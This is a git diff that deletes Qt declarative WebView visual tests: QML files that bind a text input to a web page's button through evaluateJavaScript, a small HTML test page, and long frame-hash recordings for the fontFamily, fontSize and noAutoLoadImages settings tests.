b/tests/auto/declarative/visual/webview/javascript/evaluateJavaScript.qml deleted file mode 100644 index 6c01382..0000000 --- a/tests/auto/declarative/visual/webview/javascript/evaluateJavaScript.qml +++ /dev/null @@ -1,32 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -Column { - WebView { - id: webview - width: 200 - height: 200 - url: "test-objects.html" - javaScriptWindowObjects: - QtObject { - property string text: btntext.text - WebView.windowObjectName: "qmltext" - onTextChanged: { - webview.evaluateJavaScript("{document.getElementById('button').value=window.qmltext.text}") - } - } - } - Row { - Text { text: "Input:" } - Rectangle { - width: btntext.width+10 - height: btntext.height+10 - border.color: "black" - TextInput { - id: btntext - text: "Blah" - cursorDelegate: Rectangle { width: 1; color: "red" } - } - } - } -} diff --git a/tests/auto/declarative/visual/webview/javascript/test-objects.html b/tests/auto/declarative/visual/webview/javascript/test-objects.html deleted file mode 100644 index ed7d2ea..0000000 --- a/tests/auto/declarative/visual/webview/javascript/test-objects.html +++ /dev/null @@ -1,12 +0,0 @@ - - - - -

Boring Document

-

-This is a boring document. -It gets the text on this button: - -from QML. -

diff --git a/tests/auto/declarative/visual/webview/javascript/windowObjects.qml b/tests/auto/declarative/visual/webview/javascript/windowObjects.qml deleted file mode 100644 index 8c52aff..0000000 --- a/tests/auto/declarative/visual/webview/javascript/windowObjects.qml +++ /dev/null @@ -1,27 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -Column { - WebView { - width: 200 - height: 200 - url: "test-objects.html" - javaScriptWindowObjects: - QtObject { - property string text: btntext.text - WebView.windowObjectName: "qmltext" - } - } - Row { - Text { text: "Input:" } - Rectangle { - width: btntext.width+10 - height: btntext.height+10 - border.color: "black" - TextInput { - id: btntext - text: "Blah" - } - } - } -} diff --git a/tests/auto/declarative/visual/webview/settings/data/fontFamily.0.png b/tests/auto/declarative/visual/webview/settings/data/fontFamily.0.png deleted file mode 100644 index 7721e75..0000000 Binary files a/tests/auto/declarative/visual/webview/settings/data/fontFamily.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/settings/data/fontFamily.qml b/tests/auto/declarative/visual/webview/settings/data/fontFamily.qml deleted file mode 100644 index 195c3ba..0000000 --- a/tests/auto/declarative/visual/webview/settings/data/fontFamily.qml +++ /dev/null @@ -1,395 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 32 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 48 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 64 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 80 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 96 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 112 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 128 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 144 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 160 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 176 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 192 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 208 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 224 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 240 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 256 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 272 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 288 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 304 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 320 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 336 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 352 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 368 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 384 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 400 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 416 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 432 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 448 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 464 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 480 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 496 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 512 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 528 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 544 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 560 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 576 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 592 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 608 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 624 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 640 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 656 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 672 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 688 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 196; y: 25 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 194; y: 19 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 190; y: 13 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 704 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 720 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 736 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 752 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 768 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 784 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 800 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 816 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 832 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 848 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 864 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 880 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 896 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 912 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 928 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 944 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 960 - image: "fontFamily.0.png" - } - Frame { - msec: 976 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 992 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1008 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1024 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1040 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1056 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1072 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1088 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1104 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1120 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1136 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1152 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1168 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1184 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1200 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1216 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1232 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1248 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1264 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1280 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1296 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1312 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1328 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1344 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1360 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1376 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1392 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1408 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1424 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1440 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } - Frame { - msec: 1456 - hash: "5d66fdee6a0a96bb24e89244f02eacc9" - } -} diff --git a/tests/auto/declarative/visual/webview/settings/data/fontSize.0.png b/tests/auto/declarative/visual/webview/settings/data/fontSize.0.png deleted file mode 100644 index 95196a1..0000000 Binary files a/tests/auto/declarative/visual/webview/settings/data/fontSize.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/settings/data/fontSize.qml b/tests/auto/declarative/visual/webview/settings/data/fontSize.qml deleted file mode 100644 index 438ffa5..0000000 --- a/tests/auto/declarative/visual/webview/settings/data/fontSize.qml +++ /dev/null @@ -1,339 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 32 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 48 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 64 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 80 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 96 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 112 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 128 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 144 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 160 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 176 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 192 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 208 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 224 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 240 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 256 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 272 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 288 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 304 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 320 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 336 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 352 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 368 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 384 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 400 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 416 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 432 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 448 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 464 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 480 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 496 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 512 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 528 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 544 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 560 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 576 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 592 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 608 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 624 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 640 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 656 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 672 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 688 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 704 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 720 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 736 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 752 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 768 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 784 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 800 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 816 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 832 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 848 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 864 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 880 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 896 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 912 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 928 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 944 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 960 - image: "fontSize.0.png" - } - Frame { - msec: 976 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 992 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1008 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1024 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1040 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1056 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1072 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1088 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1104 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1120 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1136 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1152 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1168 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1184 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1200 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1216 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1232 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1248 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1264 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1280 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1296 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1312 - hash: "962e77f522956d38f3b1b890df749f0a" - } - Frame { - msec: 1328 - hash: "962e77f522956d38f3b1b890df749f0a" - } -} diff --git a/tests/auto/declarative/visual/webview/settings/data/noAutoLoadImages.0.png b/tests/auto/declarative/visual/webview/settings/data/noAutoLoadImages.0.png deleted file mode 100644 index 48920a2..0000000 Binary files a/tests/auto/declarative/visual/webview/settings/data/noAutoLoadImages.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/settings/data/noAutoLoadImages.1.png b/tests/auto/declarative/visual/webview/settings/data/noAutoLoadImages.1.png deleted file mode 100644 index 48920a2..0000000 Binary files a/tests/auto/declarative/visual/webview/settings/data/noAutoLoadImages.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/settings/data/noAutoLoadImages.qml b/tests/auto/declarative/visual/webview/settings/data/noAutoLoadImages.qml deleted file mode 100644 index ead5c3b..0000000 --- a/tests/auto/declarative/visual/webview/settings/data/noAutoLoadImages.qml +++ /dev/null @@ -1,595 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 32 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 48 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 64 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 80 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 96 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 112 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 128 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 144 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 160 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 176 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 192 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 208 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 224 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 240 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 256 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 272 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 288 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 304 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 320 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 336 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 352 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 368 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 384 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 400 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 416 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 432 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 448 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 464 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 480 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 496 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 512 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 528 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 544 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 560 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 576 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 592 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 608 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 624 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 640 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 656 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 672 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 688 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 704 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 720 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 736 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 752 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 768 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 784 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 800 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 816 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 832 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 848 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 864 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 880 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 896 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 912 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 928 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 944 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 960 - image: "noAutoLoadImages.0.png" - } - Frame { - msec: 976 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 992 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1008 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1024 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1040 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1056 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1072 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1088 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1104 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1120 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1136 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1152 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1168 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1184 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1200 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1216 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1232 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1248 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1264 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1280 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1296 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1312 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1328 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1344 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1360 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1376 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1392 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1408 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1424 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1440 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1456 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1472 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1488 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1504 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1520 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1536 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1552 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1568 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1584 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1600 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1616 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1632 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1648 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1664 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1680 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1696 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1712 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1728 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1744 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1760 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1776 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1792 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1808 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1824 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1840 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1856 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1872 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1888 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1904 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1920 - image: "noAutoLoadImages.1.png" - } - Frame { - msec: 1936 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1952 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1968 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 1984 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2000 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2016 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2032 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2048 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2064 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2080 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2096 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2112 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2128 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2144 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2160 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2176 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2192 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2208 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2224 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2240 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2256 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2272 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2288 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2304 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2320 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2336 - hash: "5146cfbeefc51268eca7717d84775750" - } - Frame { - msec: 2352 - hash: 